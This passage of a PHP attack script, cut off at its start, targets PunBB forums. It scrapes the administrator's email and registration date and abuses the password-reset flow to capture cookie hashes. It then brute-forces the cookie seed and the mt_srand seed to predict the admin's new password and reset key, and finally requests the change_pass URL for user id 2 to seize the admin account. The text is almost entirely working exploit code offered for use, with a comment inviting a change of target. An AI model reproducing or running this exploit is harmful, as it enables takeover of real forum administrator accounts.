([^<]*)([0-9]{4})-([0-9]{2})-([0-9]{2})<\/td/', $s, $m); if (count($m)) define('DATE', mktime(0, 0, 0, $m[2], $m[3], $m[1])); else define('DATE', time() - 86400); //just in case, the forum or account just has been created printf("Admin : %s\nDate : %s\n--\n", ADMIN, DATE); $h = curl_init(); curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=forget_2'); // curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128'); curl_setopt($h, CURLOPT_RETURNTRANSFER, 1); curl_setopt($h, CURLOPT_HEADER, 1); curl_setopt($h, CURLOPT_POST, 1); curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1', 'req_email='.urlencode(EMAIL), 'request_pass=Envoyer'))); preg_match('/mailto:([^"]*)"/', curl_exec($h), $m); define('ADMIN_MAIL', $m[1]); // Admin email (normally automatically get, set manually if there's problem) printf("Admin mail : %s\n--\n", ADMIN_MAIL); $h = curl_init(); curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=forget_2'); curl_setopt($h, CURLOPT_RETURNTRANSFER, 1); // curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128'); curl_setopt($h, CURLOPT_COOKIE, 'punbb_cookie='.rawurlencode(serialize(array(0 => 2, 1 => md5('bite'))))); curl_setopt($h, CURLOPT_HEADER, 1); curl_setopt($h, CURLOPT_POST, 1); curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1', 'req_email='.urlencode(ADMIN_MAIL), 'request_pass=Envoyer'))); $s = curl_exec($h); preg_match('/Set-Cookie:.*punbb_cookie=([^;]*)\;/', $s, $m); $c = unserialize(urldecode($m[1])); define('MD5_NOT_LOGGUED', $c[1]); printf("Md5 not loggued : %s\n--\n", MD5_NOT_LOGGUED); $h = curl_init(); curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=in'); curl_setopt($h, CURLOPT_RETURNTRANSFER, 1); curl_setopt($h, CURLOPT_HEADER, 1); // curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128'); curl_setopt($h, CURLOPT_POST, 1); curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1', 'redirect_url=index.php', 'req_username='.LOGIN, 'req_password='.PASS))); $s = curl_exec($h); preg_match('/Set-Cookie:.*punbb_cookie=([^;]*)\;/', $s, $m); $c = unserialize(urldecode($m[1])); define('MD5_LOGGUED', $c[1]); printf("Md5 loggued : %s\n--\n", MD5_LOGGUED); define('PASS_MD5ED', sha1(PASS)); $chars = array('/', '-', "\\", '|'); for ($p = 0; $p < 86400 * 2; $p++) { if (!($p % 300)) echo $chars[($p / 300) % 4]."\r"; if (strcmp(MD5_LOGGUED, md5(substr(md5((int)(DATE + $p)), -8).PASS_MD5ED)) == 0) { define('SEED', substr(md5(DATE + $p), -8)); break; } } printf("Seed : %s\n--\n", SEED); for ($p = 0; $p < 1000000; $p++) { if (!($p % 300)) echo $chars[($p / 300) % 4]."\r"; mt_srand((double)$p); if (strcmp(md5(SEED.random_pass(8)), MD5_NOT_LOGGUED) == 0) { define('SRAND', $p); break; } } printf("SRAND : %s\n--\n", SRAND); mt_srand(SRAND); random_pass(8); printf("New password : %s\n--\n", random_pass(8)); $url = URL.'/profile.php?id=2&action=change_pass&key='.random_pass(8);// Id is set to '2' (the admin's id, but you can change your target) $h = curl_init(); curl_setopt($h, CURLOPT_URL, $url); curl_setopt($h, CURLOPT_RETURNTRANSFER, 1); curl_exec($h); function random_pass($len) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $password = ''; for ($i = 0; $i < $len; ++$i) $password .= substr($chars, (mt_rand() % strlen($chars)), 1); return $password; }